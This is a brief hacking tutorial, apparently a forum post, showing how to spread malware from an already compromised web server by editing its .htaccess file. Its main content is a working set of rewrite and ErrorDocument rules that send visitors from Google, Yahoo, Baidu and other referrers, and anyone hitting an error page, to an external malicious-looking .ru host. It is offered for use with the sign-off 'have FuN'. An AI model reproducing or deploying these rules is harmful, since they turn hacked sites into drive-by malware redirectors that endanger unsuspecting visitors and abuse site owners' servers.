How hackers infect websites with malware

hi guys today i am gonna show you how hackers sometimes infect sites with malware (recently if you are aware about Zone-h bring malwared )
So what we need

1. shelled server
2. writable .htacess

so open and edit .htacess add the following line of code

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*
RewriteRule ^(.*)$ http://villusoftreit.ru/in.cgi?3 [R=301,L]
RewriteEngine On
ErrorDocument 400 http://villusoftreit.ru/in.cgi?3
ErrorDocument 401 http://villusoftreit.ru/in.cgi?3
ErrorDocument 403 http://villusoftreit.ru/in.cgi?3
ErrorDocument 404 http://villusoftreit.ru/in.cgi?3
ErrorDocument 500 http://villusoftreit.ru/in.cgi?3

and save it now your server will be infected with malware.. and if you open it in google chrome it will show you warning.. have FuN

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